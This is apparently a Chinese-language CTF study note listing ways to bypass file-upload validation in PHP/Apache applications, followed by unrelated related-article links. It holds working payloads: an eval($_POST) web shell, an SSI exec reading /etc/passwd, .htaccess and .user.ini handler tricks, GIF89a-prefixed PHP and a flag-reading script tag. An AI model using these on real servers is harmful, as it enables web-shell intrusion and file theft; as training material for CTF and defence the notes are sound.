CTF 文件上传
两种校验方式
- 客户端校验(javascript校验)
- 服务端校验
客户端校验
绕过方法
- 抓包改包
- 禁用JS
禁用JS
- 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
- 火狐插件-yescript2
- 老版本可以使用WebDeveloper
抓包改包
用bp抓包后直接改后缀名
服务端校验
MIME类型检测
MIME类型在html文件中使用content-type属性表示
- php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
常见文件名对应的MIME类型
- 扩展名:gif MIME类型:image/gif
- 扩展名:png MIME类型:image/png
- 扩展名:jpg MIME类型:image/jpg
- 扩展名:js MIME类型:text/javascript
- 扩展名:htm MIME类型:text/html
- 扩展名:html MIME类型:text/html
绕过方法
- 抓包改content-type字段
- 改文件名后上传抓包后再改回文件名
- 上传正常文件改文件内容
- 。。。
后缀名黑名单校验
绕过方法
- 大小写绕过,例如Php、PhP
- 利用黑名单中没有的,但是又能够被解析的后缀名,例如
php、php3、php4、php5、php7、pht、phtml、phps - 配合Apache的.htaccess文件上传解析
该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMacth>
不能写
<?时使用伪协议AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
.user.ini上传
刷题记录:[SUCTF 2019]CheckIn- 使用00截断(需要magic_quotes_gpc=Off)
基于一个组合逻辑漏洞
name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
if(type==jpg)
SaveFileToPath(UploadPath.name,name)
在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00
- 超长文件名截断上传(windows 258byte | linux 4096byte)
使用./或. shtml
当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
<!--#exec cmd="cat /etc/passwd"-->
后缀名白名单校验
- 配合Apache的解析缺陷
Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀
内容头校验

绕过方法
在恶意脚本前加上允许上传文件的头标识

GIF89a
<?php phpinfo(); ?>
竞争上传
- 情景
文件上传后,检测是否合法,不合法就删除 - 利用方式
在删除前访问到上传的文件<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>
用bp同时上传和访问
- 例子
https://github.com/backlion/demo/blob/master/lfi_phpinfo.py
php崩溃导致tmp文件保留
当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名
过滤<?或php
- js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
- PHP开启短标签即
short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持

CTF 文件上传的更多相关文章
- ctf.show_web13(文件上传之.user.ini)
这是一道文件上传题,先二话不说丢个图片码,显示为 先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大.将一句话木马修 ...
- 文件上传和WAF的攻与防
Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...
- Web文件上传靶场 - 通关笔记
Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...
- 2020/1/30 PHP代码审计之文件上传漏洞
0x00 漏洞简介 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击是最为直接和有效的,"文件上传"本身是没有问题,有问题的是 ...
- Upload-labs 文件上传靶场通关攻略(下)
Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...
- jquery.uploadify文件上传组件
1.jquery.uploadify简介 在ASP.NET中上传的控件有很多,比如.NET自带的FileUpload,以及SWFUpload,Uploadify等等,尤其后面两个控件的用户体验比较好, ...
- 11、Struts2 的文件上传和下载
文件上传 表单准备 要想使用 HTML 表单上传一个或多个文件 须把 HTML 表单的 enctype 属性设置为 multipart/form-data 须把 HTML 表单的method 属性设置 ...
- Java FtpClient 实现文件上传服务
一.Ubuntu 安装 Vsftpd 服务 1.安装 sudo apt-get install vsftpd 2.添加用户(uftp) sudo useradd -d /home/uftp -s /b ...
- 小兔Java教程 - 三分钟学会Java文件上传
今天群里正好有人问起了Java文件上传的事情,本来这是Java里面的知识点,而我目前最主要的精力还是放在了JS的部分.不过反正也不麻烦,我就专门开一贴来聊聊Java文件上传的基本实现方法吧. 话不多说 ...
随机推荐
- vue动态循环出的多个select出现过的变为disabled
<template> <div class="artcle"> <el-form label-width="100px" :mod ...
- 在DoNetCore MVC 中如何使用AutoMapper
刚开始,按照在donet mvc 的方法写了一遍,发现行不通啊,于是百度了一下,找到这么一篇 https://stackoverflow.com/questions/41284349/automapp ...
- VMware 设置虚拟机Centos 上网的两种方式
能在VMware上面安装虚拟机,不可能说是不让链接外网,只是在自己电脑上玩玩就可以了.因为学习需要,经常在自己笔记本上面搭建虚拟机,我经常使用的两种上网方式 一 NET方式上网 设置VMware Ne ...
- XAMPP + PhpStorm + Xdebug本地实验环境搭建
参考: 下载合适的XDebug 点击这里,选择合适xdebug XAMPP配置 php_xdebug-xxxx.dll 拷贝dll至 D:\XAMPP\php\ext php.ini 文末追加 [XD ...
- vsftpd配置文件
一.默认配置 1. 允许匿名用户和本地用户登录 anonymous_enable=YES local_enable=YES 2. 匿名用户使用的登录名为ftp或anonymous,密码为空:匿名用户不 ...
- vue-i18n安装和实现国际化,$t的用法
1.安装 yarn install vue-i18n 也可以直接引入 <script src="https://unpkg.com/vue/dist/vue.js">& ...
- Nastya Hasn't Written a Legend(Codeforces Round #546 (Div. 2)E+线段树)
题目链接 传送门 题面 题意 给你一个\(a\)数组和一个\(k\)数组,进行\(q\)次操作,操作分为两种: 将\(a_i\)增加\(x\),此时如果\(a_{i+1}<a_i+k_i\),那 ...
- python正则表达式(1)--特殊字符
正则表达式—特殊表达式含义 正则表达式的字母和数字表示他们自身,但多数字母和数字前加一个反斜杠时会拥有不同的含义. 下面列出了正则表达式模式语法中的特殊元素. 1.普通字符集 1) \w ...
- 在vue项目中使用自己封装的ajax
在 src 目录下新建 vue.extend.js ,内容如下: export default { install(Vue) { Vue.prototype.$http=function(option ...
- BM算法【实数模板】
BM递推杜教版是在整数取模的情况下的, 这个可以求解实数系数,但是可能有精度误差. 若一个问题的结论是通过推线性递推式来解,考虑到实际的情况,可以用BM算法的模板,先输入项数再依次输入项,项越多越准确 ...